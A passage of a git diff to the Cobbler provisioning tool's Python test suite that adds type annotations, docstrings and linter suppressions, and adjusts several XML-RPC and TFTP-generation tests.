 
-def test_check_for_invalid_imports(cobbler_api):
+def test_check_for_invalid_imports(cobbler_api: CobblerAPI):
     # Arrange
     test_templar = Templar(cobbler_api)
     testdata = "#import json"
@@ -37,7 +43,7 @@ def test_check_for_invalid_imports(cobbler_api):
         test_templar.check_for_invalid_imports(testdata)
 
 
-def test_render(cobbler_api):
+def test_render(cobbler_api: CobblerAPI):
     # Arrange
     test_templar = Templar(cobbler_api)
 
@@ -48,7 +54,7 @@ def test_render(cobbler_api):
     assert result == ""
 
 
-def test_render_cheetah(cobbler_api):
+def test_render_cheetah(cobbler_api: CobblerAPI):
     # Arrange
     test_templar = Templar(cobbler_api)
 
@@ -61,7 +67,7 @@ def test_render_cheetah(cobbler_api):
 
 @pytest.mark.usefixtures("setup_cheetah_macros_file")
 @pytest.mark.skip("Macros only work if we restart cobblerd")
-def test_cheetah_macros(cobbler_api):
+def test_cheetah_macros(cobbler_api: CobblerAPI):
     # Arrange
     templar = Templar(cobbler_api)
 
@@ -72,7 +78,7 @@ def test_cheetah_macros(cobbler_api):
     assert result == "Text in method: 5\n"
 
 
-def test_render_jinja2(cobbler_api):
+def test_render_jinja2(cobbler_api: CobblerAPI):
     # Arrange
     test_templar = Templar(cobbler_api)
 
diff --git a/tests/template_api_test.py b/tests/template_api_test.py
index d135a17788..1a4480e35b 100644
--- a/tests/template_api_test.py
+++ b/tests/template_api_test.py
@@ -1,3 +1,7 @@
+"""
+Tests that validate the functionality of the module that is responsible for extending Cheetah to work with Cobbler.
+"""
+
 import pytest
 
 from cobbler.template_api import CobblerTemplate
@@ -11,7 +15,7 @@ def test_compile(self):
         compiled_template = CobblerTemplate(
             searchList=[{"autoinstall_snippets_dir": "/var/lib/cobbler/snippets"}]
         ).compile(source="$test")
-        result = str(compiled_template(namespaces={"test": 5}))
+        result = str(compiled_template(namespaces={"test": 5}))  # type: ignore
 
         # Assert
         assert result == "5"
diff --git a/tests/tftpgen_test.py b/tests/tftpgen_test.py
index b519b10fea..3b8184587a 100644
--- a/tests/tftpgen_test.py
+++ b/tests/tftpgen_test.py
@@ -1,12 +1,12 @@
 """
-Tests that validate the functionallity of the module that is reponsible for generating the TFTP boot tree.
+Tests that validate the functionality of the module that is responsible for generating the TFTP boot tree.
 """
 
 import glob
 import os
 import pathlib
 import shutil
-from typing import TYPE_CHECKING, Any, Callable, List, Tuple
+from typing import TYPE_CHECKING, Any, Callable, Dict, List, Tuple, Union
 
 import pytest
 
@@ -33,12 +33,12 @@ def test_copy_bootloaders(tmpdir: pathlib.Path, cobbler_api: CobblerAPI):
     # Arrange
     # Create temporary bootloader files using tmpdir fixture
     file_contents = "I am a bootloader"
-    sub_path = tmpdir.mkdir("loaders")
-    sub_path.join("bootloader1").write(file_contents)
-    sub_path.join("bootloader2").write(file_contents)
+    sub_path = tmpdir.mkdir("loaders")  # type: ignore
+    sub_path.join("bootloader1").write(file_contents)  # type: ignore
+    sub_path.join("bootloader2").write(file_contents)  # type: ignore
 
     # Copy temporary bootloader files from tmpdir to expected source directory
-    for file in glob.glob(str(sub_path + "/*")):
+    for file in glob.glob(str(sub_path + "/*")):  # type: ignore
         bootloader_src = "/var/lib/cobbler/loaders/"
         shutil.copy(file, bootloader_src + file.split("/")[-1])
 
@@ -121,14 +121,14 @@ def setup_test_write_all_system_files(
     cobbler_api: CobblerAPI,
     create_distro: Callable[[], Distro],
     create_profile: Callable[[str], Profile],
-    create_system: Callable[[str, str, str], System],
-):
+    create_system: Any,
+) -> Tuple[System, tftpgen.TFTPGen]:
     """
     Setup fixture for "test_write_all_system_files".
     """
     test_distro = create_distro()
     test_profile = create_profile(test_distro.name)
-    test_system: System = create_system(profile_name=test_profile.name)  # type: ignore
+    test_system: System = create_system(profile_name=test_profile.name)
     test_gen = tftpgen.TFTPGen(cobbler_api)
     return test_system, test_gen
 
@@ -168,7 +168,7 @@ def test_write_all_system_files(
     """
     # Arrange
     test_system, test_gen = setup_test_write_all_system_files
-    result = {}
+    result: Dict[str, Union[str, Dict[str, str]]] = {}
     mocker.patch.object(
         test_system,
         "is_management_supported",
@@ -201,7 +201,7 @@ def test_write_all_system_files_s390(
     cobbler_api: CobblerAPI,
     create_distro: Callable[[], Distro],
     create_profile: Callable[[str], Profile],
-    create_system: Callable[[str, str, str], System],
+    create_system: Any,
     create_image: Callable[[], Image],
 ):
     """
@@ -215,7 +215,7 @@ def test_write_all_system_files_s390(
         "foobar2": "woohooo",
     }
     test_profile = create_profile(test_distro.name)
-    test_system: System = create_system(profile_name=test_profile.name)  # type: ignore
+    test_system: System = create_system(profile_name=test_profile.name)
     test_system.netboot_enabled = True
     test_image = create_image()
     test_gen = tftpgen.TFTPGen(cobbler_api)
@@ -226,7 +226,8 @@ def test_write_all_system_files_s390(
     mocker.patch("builtins.open", open_mock)
 
     # Act
-    test_gen._write_all_system_files_s390(
+    # pylint: disable-next=protected-access
+    test_gen._write_all_system_files_s390(  # type: ignore[reportPrivateUsage]
         test_distro, test_profile, test_image, test_system
     )
 
@@ -329,7 +330,7 @@ def test_get_menu_level(mocker: "MockerFixture", cobbler_api: CobblerAPI):
     result = test_gen.get_menu_level()
 
     # Assert
-    assert False
+    assert isinstance(result, dict)
 
 
 @pytest.mark.skip("Test broken atm.")
@@ -347,7 +348,7 @@ def test_write_pxe_file(mocker: "MockerFixture", cobbler_api: CobblerAPI):
     )
 
     # Assert
-    assert False
+    assert isinstance(result, str)
 
 
 @pytest.mark.skip("Test broken atm.")
@@ -357,7 +358,7 @@ def test_build_kernel(mocker: "MockerFixture", cobbler_api: CobblerAPI):
     mocker.patch("cobbler.utils.blender", return_value={})
 
     # Act
-    test_gen.build_kernel({}, None, None, None, None, "pxe")
+    test_gen.build_kernel({}, None, None, None, None, "pxe")  # type: ignore
 
     # Assert
     assert False
@@ -399,7 +400,7 @@ def test_write_templates(
     result = test_gen.write_templates(test_distro, False, "TODO")
 
     # Assert
-    assert False
+    assert isinstance(result, dict)
 
 
 @pytest.mark.skip("Test broken atm.")
@@ -452,7 +453,7 @@ def test_generate_bootcfg(
     result = test_gen.generate_bootcfg("profile", test_profile.name)
 
     # Assert
-    assert False
+    assert isinstance(result, str)
 
 
 def test_generate_script(
@@ -485,7 +486,8 @@ def test_generate_windows_initrd(cobbler_api: CobblerAPI):
     test_gen = tftpgen.TFTPGen(cobbler_api)
 
     # Act
-    result = test_gen._build_windows_initrd("custom_loader", "my_custom_loader", "ipxe")
+    # pylint: disable-next=protected-access
+    result = test_gen._build_windows_initrd("custom_loader", "my_custom_loader", "ipxe")  # type: ignore[reportPrivateUsage]
 
     # Assert
     assert result == "--name custom_loader my_custom_loader custom_loader"
@@ -495,7 +497,7 @@ def test_generate_initrd(mocker: "MockerFixture", cobbler_api: CobblerAPI):
     # Arrange
     test_gen = tftpgen.TFTPGen(cobbler_api)
     mocker.patch.object(test_gen, "_build_windows_initrd", return_value="Test")
-    input_metadata = {
+    input_metadata: Dict[str, Union[List[str], str]] = {
         "initrd": [],
         "bootmgr": "True",
         "bcd": "True",
@@ -504,7 +506,8 @@ def test_generate_initrd(mocker: "MockerFixture", cobbler_api: CobblerAPI):
     expected_result = []
 
     # Act
-    result = test_gen._generate_initrd(input_metadata, "", "", "ipxe")
+    # pylint: disable-next=protected-access
+    result = test_gen._generate_initrd(input_metadata, "", "", "ipxe")  # type: ignore[reportPrivateUsage]
 
     # Assert
     assert result == expected_result
@@ -530,7 +533,8 @@ def test_write_bootcfg_file(
     mocker.patch.object(test_gen, "generate_bootcfg", return_value=expected_result)
 
     # Act
-    result = test_gen._write_bootcfg_file("profile", "test", "example.txt")
+    # pylint: disable-next=protected-access
+    result = test_gen._write_bootcfg_file("profile", "test", "example.txt")  # type: ignore[reportPrivateUsage]
 
     # Assert
     assert result == expected_result
diff --git a/tests/utils/input_converters_test.py b/tests/utils/input_converters_test.py
index b226435e5e..5272fa1286 100644
--- a/tests/utils/input_converters_test.py
+++ b/tests/utils/input_converters_test.py
@@ -1,3 +1,9 @@
+"""
+Tests that validate the functionality of the module that is responsible for input conversion.
+"""
+
+from typing import Any
+
 import pytest
 
 from cobbler.utils import input_converters
@@ -16,7 +22,9 @@
         (5, None, pytest.raises(TypeError)),
     ],
 )
-def test_input_string_or_list(test_input, expected_result, expected_exception):
+def test_input_string_or_list(
+    test_input: Any, expected_result: Any, expected_exception: Any
+):
     # Arrange & Act
     with expected_exception:
         result = input_converters.input_string_or_list(test_input)
@@ -35,7 +43,9 @@ def test_input_string_or_list(test_input, expected_result, expected_exception):
         (0, None, pytest.raises(TypeError)),
     ],
 )
-def test_input_string_or_dict(testinput, expected_result, possible_exception):
+def test_input_string_or_dict(
+    testinput: Any, expected_result: Any, possible_exception: Any
+):
     # Arrange
 
     # Act
@@ -59,7 +69,7 @@ def test_input_string_or_dict(testinput, expected_result, possible_exception):
         (0.5, pytest.raises(TypeError), False),
     ],
 )
-def test_input_boolean(testinput, expected_exception, expected_result):
+def test_input_boolean(testinput: Any, expected_exception: Any, expected_result: bool):
     # Arrange
 
     # Act
@@ -85,7 +95,7 @@ def test_input_boolean(testinput, expected_exception, expected_result):
         (0.5, does_not_raise(), 0),
     ],
 )
-def test_input_int(testinput, expected_exception, expected_result):
+def test_input_int(testinput: Any, expected_exception: Any, expected_result: int):
     # Arrange --> Not needed
 
     # Act
diff --git a/tests/utils/process_management_test.py b/tests/utils/process_management_test.py
index b329fb04ae..de63f51afe 100644
--- a/tests/utils/process_management_test.py
+++ b/tests/utils/process_management_test.py
@@ -1,5 +1,14 @@
+"""
+Tests that validate the functionality of the module that is responsible for process management in Cobbler.
+"""
+
+from typing import TYPE_CHECKING
+
 from cobbler.utils import process_management
 
+if TYPE_CHECKING:
+    from pytest_mock import MockerFixture
+
 
 def test_is_systemd():
     # Arrange
@@ -11,7 +20,7 @@ def test_is_systemd():
     assert result
 
 
-def test_service_restart_no_manager(mocker):
+def test_service_restart_no_manager(mocker: "MockerFixture"):
     # Arrange
     mocker.patch(
         "cobbler.utils.process_management.is_supervisord",
@@ -32,7 +41,7 @@ def test_service_restart_no_manager(mocker):
     assert result == 1
 
 
-def test_service_restart_supervisord(mocker):
+def test_service_restart_supervisord(mocker: "MockerFixture"):
     mocker.patch(
         "cobbler.utils.process_management.is_supervisord",
         autospec=True,
@@ -47,7 +56,7 @@ def test_service_restart_supervisord(mocker):
     assert result == 0
 
 
-def test_service_restart_systemctl(mocker):
+def test_service_restart_systemctl(mocker: "MockerFixture"):
     mocker.patch(
         "cobbler.utils.process_management.is_supervisord",
         autospec=True,
@@ -73,7 +82,7 @@ def test_service_restart_systemctl(mocker):
     )
 
 
-def test_service_restart_service(mocker):
+def test_service_restart_service(mocker: "MockerFixture"):
     # Arrange
     mocker.patch(
         "cobbler.utils.process_management.is_supervisord",
diff --git a/tests/utils/signatures_test.py b/tests/utils/signatures_test.py
index c063942bd6..8942e5c8ef 100644
--- a/tests/utils/signatures_test.py
+++ b/tests/utils/signatures_test.py
@@ -1,3 +1,9 @@
+"""
+Tests that validate the functionality of the module that is responsible for managing the signatures database of Cobbler.
+"""
+
+from typing import Any, Dict
+
 from cobbler.utils import signatures
 
 
@@ -13,7 +19,8 @@ def test_get_supported_distro_boot_loaders():
 
 def test_load_signatures():
     # Arrange
-    signatures.signature_cache = {}
+    new_signatures: Dict[str, Any] = {}
+    signatures.signature_cache = new_signatures
     old_cache = signatures.signature_cache
 
     # Act
diff --git a/tests/validate_test.py b/tests/validate_test.py
index a0013d1c15..fed4aba01f 100644
--- a/tests/validate_test.py
+++ b/tests/validate_test.py
@@ -1,9 +1,16 @@
+"""
+Tests that validate the functionality of the module that is responsible for validating data before it is consumed by
+the application.
+"""
+
 import uuid
 from ipaddress import AddressValueError, NetmaskValueError
+from typing import Any
 
 import pytest
 
 from cobbler import enums, validate
+from cobbler.api import CobblerAPI
 from cobbler.utils import signatures
 
 from tests.conftest import does_not_raise
@@ -18,7 +25,7 @@
         ("host.cobbler.org", "host.cobbler.org", does_not_raise()),
     ],
 )
-def test_hostname(input_dnsname, expected_result, expected_exception):
+def test_hostname(input_dnsname: Any, expected_result: str, expected_exception: Any):
     # Arrange
 
     # Act
@@ -39,7 +46,7 @@ def test_hostname(input_dnsname, expected_result, expected_exception):
         (0, "", pytest.raises(TypeError)),
     ],
 )
-def test_ipv4_address(input_addr, expected_result, expected_exception):
+def test_ipv4_address(input_addr: Any, expected_result: str, expected_exception: Any):
     # Arrange
     # Act
     with expected_exception:
@@ -71,7 +78,7 @@ def test_validate_breed():
     assert result == "redhat"
 
 
-def test_set_repos(cobbler_api):
+def test_set_repos(cobbler_api: CobblerAPI):
     # Arrange
 
     # Act
@@ -107,7 +114,7 @@ def test_set_virt_file_size():
         ("Test", does_not_raise()),
     ],
 )
-def test_set_virt_auto_boot(test_autoboot, expectation):
+def test_set_virt_auto_boot(test_autoboot: Any, expectation: Any):
     # Arrange
 
     # Act
@@ -130,7 +137,7 @@ def test_set_virt_auto_boot(test_autoboot, expectation):
         ("", does_not_raise()),
     ],
 )
-def test_set_virt_pxe_boot(test_input, expected_exception):
+def test_set_virt_pxe_boot(test_input: Any, expected_exception: Any):
     # Arrange
 
     # Act
@@ -185,7 +192,7 @@ def test_validate_virt_path():
         ("test", pytest.raises(TypeError)),
     ],
 )
-def test_set_virt_cpus(value, expected_exception):
+def test_set_virt_cpus(value: Any, expected_exception: Any):
     # Arrange
 
     # Act
@@ -235,7 +242,7 @@ def test_set_serial_baud_rate():
         ("http://fe80::989c:95ff:fe42:47bf/test", True),
     ],
 )
-def test_validate_boot_remote_file(test_value, expected_result):
+def test_validate_boot_remote_file(test_value: Any, expected_result: bool):
     # Arrange
 
     # Act
@@ -261,7 +268,7 @@ def test_validate_boot_remote_file(test_value, expected_result):
         ("(tftp,10.0.0.1:8080)/test", True),
     ],
 )
-def test_validate_grub_remote_file(test_value, expected_result):
+def test_validate_grub_remote_file(test_value: Any, expected_result: bool):
     # Arrange
 
     # Act
diff --git a/tests/xmlrpcapi/background_test.py b/tests/xmlrpcapi/background_test.py
index 97130ee586..030e06f8e4 100644
--- a/tests/xmlrpcapi/background_test.py
+++ b/tests/xmlrpcapi/background_test.py
@@ -1,12 +1,19 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to
+background tasks.
+"""
+
 import pytest
 
+from cobbler.remote import CobblerXMLRPCInterface
+
 
 class TestBackground:
     """
     Class to test various background jobs
     """
 
-    def test_background_acletup(self, remote, token):
+    def test_background_acletup(self, remote: CobblerXMLRPCInterface, token: str):
         # Arrange
 
         # Act
@@ -15,7 +22,7 @@ def test_background_acletup(self, remote, token):
         # Assert
         assert result
 
-    def test_background_buildiso(self, remote, token):
+    def test_background_buildiso(self, remote: CobblerXMLRPCInterface, token: str):
         # Arrange
 
         # Act
@@ -24,7 +31,7 @@ def test_background_buildiso(self, remote, token):
         # Assert
         assert result
 
-    def test_background_hardlink(self, remote, token):
+    def test_background_hardlink(self, remote: CobblerXMLRPCInterface, token: str):
         # Arrange
 
         # Act
@@ -33,7 +40,7 @@ def test_background_hardlink(self, remote, token):
         # Assert
         assert result
 
-    def test_background_import(self, remote, token):
+    def test_background_import(self, remote: CobblerXMLRPCInterface, token: str):
         # Arrange
 
         # Act
@@ -42,7 +49,7 @@ def test_background_import(self, remote, token):
         # Assert
         assert result
 
-    def test_background_replicate(self, remote, token):
+    def test_background_replicate(self, remote: CobblerXMLRPCInterface, token: str):
         # Arrange
 
         # Act
@@ -51,7 +58,7 @@ def test_background_replicate(self, remote, token):
         # Assert
         assert result
 
-    def test_background_reposync(self, remote, token):
+    def test_background_reposync(self, remote: CobblerXMLRPCInterface, token: str):
         # Arrange
 
         # Act
@@ -60,7 +67,9 @@ def test_background_reposync(self, remote, token):
         # Assert
         assert result
 
-    def test_background_validate_autoinstall_files(self, remote, token):
+    def test_background_validate_autoinstall_files(
+        self, remote: CobblerXMLRPCInterface, token: str
+    ):
         # Arrange
 
         # Act
@@ -69,11 +78,12 @@ def test_background_validate_autoinstall_files(self, remote, token):
         # Assert
         assert result
 
-    def test_background_load_items(self, remote):
+    def test_background_load_items(self, remote: CobblerXMLRPCInterface):
         # Arrange
 
         # Act
-        result = remote.background_load_items()
+        with pytest.raises(ValueError):
+            result = remote.background_load_items()
 
-        # Assert
-        assert result
+            # Assert
+            assert result
diff --git a/tests/xmlrpcapi/image_test.py b/tests/xmlrpcapi/image_test.py
index 6b1249bca2..fb0b1f5af9 100644
--- a/tests/xmlrpcapi/image_test.py
+++ b/tests/xmlrpcapi/image_test.py
@@ -1,5 +1,19 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to images.
+"""
+
+from typing import Callable
+
+from cobbler.items.image import Image
+from cobbler.remote import CobblerXMLRPCInterface
+
+
 class TestImage:
-    def test_create_image(self, remote, token):
+    """
+    TODO
+    """
+
+    def test_create_image(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: create/edit of an image object
         """
@@ -12,7 +26,7 @@ def test_create_image(self, remote, token):
         image_list = remote.get_images(token)
         assert len(image_list) == 1
 
-    def test_get_images(self, remote):
+    def test_get_images(self, remote: CobblerXMLRPCInterface):
         """
         Test: get images
         """
@@ -23,7 +37,9 @@ def test_get_images(self, remote):
 
         # Assert
 
-    def test_get_image(self, remote, create_image):
+    def test_get_image(
+        self, remote: CobblerXMLRPCInterface, create_image: Callable[[], Image]
+    ):
         """
         Test: Get an image object
         """
@@ -34,9 +50,14 @@ def test_get_image(self, remote, create_image):
         result_image = remote.get_image(test_image.name)
 
         # Assert
-        assert result_image.get("name") == test_image.name
-
-    def test_find_image(self, remote, token, create_image):
+        assert result_image.get("name") == test_image.name  # type: ignore[reportUnknownMemberType]
+
+    def test_find_image(
+        self,
+        remote: CobblerXMLRPCInterface,
+        token: str,
+        create_image: Callable[[], Image],
+    ):
         """
         Test: Find an image object
         """
@@ -44,13 +65,19 @@ def test_find_image(self, remote, token, create_image):
         test_image = create_image()
 
         # Act
-        result = remote.find_image({"name": test_image.name}, token)
+        result = remote.find_image({"name": test_image.name}, True, False, token)
+        print(result)
 
         # Assert - We want to find exactly the one item we added
         assert len(result) == 1
         assert result[0].get("name") == test_image.name
 
-    def test_copy_image(self, remote, token, create_image):
+    def test_copy_image(
+        self,
+        remote: CobblerXMLRPCInterface,
+        token: str,
+        create_image: Callable[[], Image],
+    ):
         """
         Test: Copy an image object
         """
@@ -64,7 +91,12 @@ def test_copy_image(self, remote, token, create_image):
         # Assert
         assert result
 
-    def test_rename_image(self, remote, token, create_image):
+    def test_rename_image(
+        self,
+        remote: CobblerXMLRPCInterface,
+        token: str,
+        create_image: Callable[[], Image],
+    ):
         """
         Test: Rename an image object
         """
@@ -78,7 +110,12 @@ def test_rename_image(self, remote, token, create_image):
         # Assert
         assert result
 
-    def test_remove_image(self, remote, token, create_image):
+    def test_remove_image(
+        self,
+        remote: CobblerXMLRPCInterface,
+        token: str,
+        create_image: Callable[[], Image],
+    ):
         """
         Test: remove an image object
         """
diff --git a/tests/xmlrpcapi/input_converters.py b/tests/xmlrpcapi/input_converters.py
index fb6295a6fa..4845f25ec6 100644
--- a/tests/xmlrpcapi/input_converters.py
+++ b/tests/xmlrpcapi/input_converters.py
@@ -1,5 +1,14 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to
+input conversion.
+"""
+
+from typing import Any, Dict, List
+
 import pytest
 
+from cobbler.remote import CobblerXMLRPCInterface
+
 from tests.conftest import does_not_raise
 
 
@@ -7,7 +16,10 @@
     "input_options,expected_result,expected_exception", [([], [], does_not_raise())]
 )
 def test_input_string_or_list_no_inherit(
-    remote, input_options, expected_result, expected_exception
+    remote: CobblerXMLRPCInterface,
+    input_options: List[str],
+    expected_result: List[str],
+    expected_exception: Any,
 ):
     """
     Test: check Cobbler status
@@ -31,7 +43,12 @@ def test_input_string_or_list_no_inherit(
         (5, None, pytest.raises(TypeError)),
     ],
 )
-def test_input_string_or_list(remote, test_input, expected_result, expected_excpetion):
+def test_input_string_or_list(
+    remote: CobblerXMLRPCInterface,
+    test_input: Any,
+    expected_result: Any,
+    expected_excpetion: Any,
+):
     """
     Test: check Cobbler status
     """
@@ -53,7 +70,12 @@ def test_input_string_or_list(remote, test_input, expected_result, expected_excp
         (0, None, pytest.raises(TypeError)),
     ],
 )
-def test_input_string_or_dict(remote, testinput, expected_result, possible_exception):
+def test_input_string_or_dict(
+    remote: CobblerXMLRPCInterface,
+    testinput: Any,
+    expected_result: Any,
+    possible_exception: Any,
+):
     """
     Test: check Cobbler status
     """
@@ -70,7 +92,11 @@ def test_input_string_or_dict(remote, testinput, expected_result, possible_excep
     [({}, True, {}, does_not_raise())],
 )
 def test_input_string_or_dict_no_inherit(
-    remote, input_options, input_allow_multiples, expected_result, expected_exception
+    remote: CobblerXMLRPCInterface,
+    input_options: Dict[str, str],
+    input_allow_multiples: bool,
+    expected_result: Dict[str, str],
+    expected_exception: Any,
 ):
     """
     Test: check Cobbler status
@@ -98,7 +124,12 @@ def test_input_string_or_dict_no_inherit(
         (0.5, pytest.raises(TypeError), False),
     ],
 )
-def test_input_boolean(remote, testinput, expected_exception, expected_result):
+def test_input_boolean(
+    remote: CobblerXMLRPCInterface,
+    testinput: Any,
+    expected_exception: Any,
+    expected_result: bool,
+):
     """
     Test: check Cobbler status
     """
@@ -124,7 +155,12 @@ def test_input_boolean(remote, testinput, expected_exception, expected_result):
         (0.5, does_not_raise(), 0),
     ],
 )
-def test_input_int(remote, testinput, expected_exception, expected_result):
+def test_input_int(
+    remote: CobblerXMLRPCInterface,
+    testinput: Any,
+    expected_exception: Any,
+    expected_result: int,
+):
     """
     Test: check Cobbler status
     """
diff --git a/tests/xmlrpcapi/item_test.py b/tests/xmlrpcapi/item_test.py
index 3cb303cca2..ba04dc020a 100644
--- a/tests/xmlrpcapi/item_test.py
+++ b/tests/xmlrpcapi/item_test.py
@@ -1,12 +1,17 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to
+generic items.
+"""
+
 import pytest
 
-from cobbler.api import CobblerAPI
-from cobbler.items.menu import Menu
 from cobbler.remote import CobblerXMLRPCInterface
 
 
 @pytest.mark.usefixtures("create_testdistro", "remove_testdistro")
-def test_get_item_resolved(remote, fk_initrd, fk_kernel):
+def test_get_item_resolved(
+    remote: CobblerXMLRPCInterface, fk_initrd: str, fk_kernel: str
+):
     """
     Test: get an item object (in this case distro) which is resolved
     """
@@ -16,10 +21,10 @@ def test_get_item_resolved(remote, fk_initrd, fk_kernel):
     distro = remote.get_item("distro", "testdistro0", resolved=True)
 
     # Assert
-    assert distro.get("name") == "testdistro0"
-    assert distro.get("redhat_management_key") == ""
-    assert fk_initrd in distro.get("initrd")
-    assert fk_kernel in distro.get("kernel")
+    assert distro.get("name") == "testdistro0"  # type: ignore
+    assert distro.get("redhat_management_key") == ""  # type: ignore
+    assert fk_initrd in distro.get("initrd")  # type: ignore
+    assert fk_kernel in distro.get("kernel")  # type: ignore
 
 
 def test_remove_item(remote: CobblerXMLRPCInterface, token: str):
diff --git a/tests/xmlrpcapi/menu_test.py b/tests/xmlrpcapi/menu_test.py
index f8f6f08984..9524e14db5 100644
--- a/tests/xmlrpcapi/menu_test.py
+++ b/tests/xmlrpcapi/menu_test.py
@@ -1,8 +1,14 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to menus.
+"""
+
 import pytest
 
+from cobbler.remote import CobblerXMLRPCInterface
+
 
 @pytest.fixture
-def create_menu(remote, token):
+def create_menu(remote: CobblerXMLRPCInterface, token: str):
     """
     Creates a Menu "testmenu0" with a display_name "Test Menu0"
 
@@ -16,7 +22,7 @@ def create_menu(remote, token):
 
 
 @pytest.fixture
-def remove_menu(remote, token):
+def remove_menu(remote: CobblerXMLRPCInterface, token: str):
     """
     Removes the Menu "testmenu0" which can be created with create_menu.
 
@@ -28,8 +34,12 @@ def remove_menu(remote, token):
 
 
 class TestMenu:
+    """
+    TODO
+    """
+
     @pytest.mark.usefixtures("create_testmenu", "remove_testmenu")
-    def test_create_submenu(self, remote, token):
+    def test_create_submenu(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: create/edit a submenu object
         """
@@ -50,7 +60,7 @@ def test_create_submenu(self, remote, token):
         remote.remove_menu("testsubmenu0", token, False)
 
     @pytest.mark.usefixtures("remove_menu")
-    def test_create_menu(self, remote, token):
+    def test_create_menu(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: create/edit a menu object
         """
@@ -62,7 +72,7 @@ def test_create_menu(self, remote, token):
         assert remote.modify_menu(menu, "display_name", "Test Menu0", token)
         assert remote.save_menu(menu, token)
 
-    def test_get_menus(self, remote):
+    def test_get_menus(self, remote: CobblerXMLRPCInterface):
         """
         Test: Get menus
         """
@@ -75,7 +85,7 @@ def test_get_menus(self, remote):
         assert result == []
 
     @pytest.mark.usefixtures("create_menu", "remove_menu")
-    def test_get_menu(self, remote, token):
+    def test_get_menu(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: Get a menu object
         """
@@ -86,10 +96,10 @@ def test_get_menu(self, remote, token):
         menu = remote.get_menu("testmenu0")
 
         # Assert
-        assert menu.get("name") == "testmenu0"
+        assert menu.get("name") == "testmenu0"  # type: ignore[reportUnknownMemberType]
 
     @pytest.mark.usefixtures("create_menu", "remove_menu")
-    def test_find_menu(self, remote, token):
+    def test_find_menu(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: find a menu object
         """
@@ -97,13 +107,13 @@ def test_find_menu(self, remote, token):
         # Arrange --> Done in fixture
 
         # Act
-        result = remote.find_menu({"name": "testmenu0"}, token)
+        result = remote.find_menu({"name": "testmenu0"}, False, False, token)
 
         # Assert
         assert result
 
     @pytest.mark.usefixtures("create_menu", "remove_menu")
-    def test_copy_menu(self, remote, token):
+    def test_copy_menu(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: copy a menu object
         """
@@ -120,7 +130,7 @@ def test_copy_menu(self, remote, token):
         remote.remove_menu("testmenucopy", token)
 
     @pytest.mark.usefixtures("create_menu")
-    def test_rename_menu(self, remote, token):
+    def test_rename_menu(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: rename a menu object
         """
@@ -138,7 +148,7 @@ def test_rename_menu(self, remote, token):
         remote.remove_menu("testmenu1", token)
 
     @pytest.mark.usefixtures("create_menu")
-    def test_remove_menu(self, remote, token):
+    def test_remove_menu(self, remote: CobblerXMLRPCInterface, token: str):
         """
         Test: remove a menu object
         """
diff --git a/tests/xmlrpcapi/miscellaneous_test.py b/tests/xmlrpcapi/miscellaneous_test.py
index f80f6447a4..905db76e89 100644
--- a/tests/xmlrpcapi/miscellaneous_test.py
+++ b/tests/xmlrpcapi/miscellaneous_test.py
@@ -690,7 +690,7 @@ def test_upload_log_data(remote: CobblerXMLRPCInterface):
     # Arrange
 
     # Act
-    result = remote.upload_log_data("testsystem0", "testinstall.log", 0, 0, b"asdas")
+    result = remote.upload_log_data("testsystem0", "testinstall.log", 0, 0, b"asdas")  # type: ignore
 
     # Assert
     assert isinstance(result, bool)
diff --git a/tests/xmlrpcapi/non_object_calls_test.py b/tests/xmlrpcapi/non_object_calls_test.py
index 8f8c82417e..2a7633c6e7 100644
--- a/tests/xmlrpcapi/non_object_calls_test.py
+++ b/tests/xmlrpcapi/non_object_calls_test.py
@@ -1,22 +1,31 @@
+"""
+Tests that validate the functionality of the module that is responsible for providing XML-RPC calls related to
+non object calls.
+"""
+
 import os
 import re
 import time
+from typing import Any, Callable, Dict, Union
 
 import pytest
 
+from cobbler.remote import CobblerXMLRPCInterface
+
 from tests.conftest import does_not_raise
 
+WaitTaskEndType = Callable[[str, CobblerXMLRPCInterface], None]
 TEST_POWER_MANAGEMENT = True
 TEST_SYSTEM = ""
 
 
 @pytest.fixture(scope="function")
-def wait_task_end():
+def wait_task_end() -> WaitTaskEndType:
     """
     Wait until a task is finished
     """
 
-    def _wait_task_end(tid, remote):
+    def _wait_task_end(tid: str, remote: CobblerXMLRPCInterface) -> None:
         timeout = 0
         # "complete" is the constant: EVENT_COMPLETE from cobbler.remote
         while remote.get_task_status(tid)[2] != "complete":
@@ -31,7 +40,7 @@ def _wait_task_end(tid, remote):
     return _wait_task_end
 
 
-def test_token(token):
+def test_token(token: str):
     """
     Test: authentication token validation
     """
@@ -39,7 +48,7 @@ def test_token(token):
     assert token not in ("", None)
 
 
-def test_get_user_from_token(remote, token):
+def test_get_user_from_token(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get user data from authentication token
     """
@@ -47,7 +56,7 @@ def test_get_user_from_token(remote, token):
     assert remote.get_user_from_token(token)
 
 
-def test_check(remote, token):
+def test_check(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: check Cobbler status
     """
@@ -55,7 +64,7 @@ def test_check(remote, token):
     assert remote.check(token)
 
 
-def test_last_modified_time(remote, token):
+def test_last_modified_time(remote: CobblerXMLRPCInterface, token: str):
     """
     Test: get last modification time
     """
@@ -63,7 +72,9 @@ def test_last_modified_time(remote, token):
     assert remote.last_modified_time(token) != 0
 
 
-def test_power_system(remote, token, wait_task_end):
+def test_power_system(
+    remote: CobblerXMLRPCInterface, token: str, wait_task_end: WaitTaskEndType
+):
     """
     Test: reboot a system
     """
@@ -75,7 +86,9 @@ def test_power_system(remote, token, wait_task_end):
         wait_task_end(tid, remote)
 
 
-def test_sync(remote, token, wait_task_end):
+def test_sync(
+    remote: CobblerXMLRPCInterface, token: str, wait_task_end: WaitTaskEndType
+):
     """
     Test: synchronize Cobbler internal data with managed services
     (dhcp, tftp, dns)
@@ -90,8 +103,10 @@ def test_sync(remote, token, wait_task_end):
 
     event_log = remote.get_event_log(tid)
 
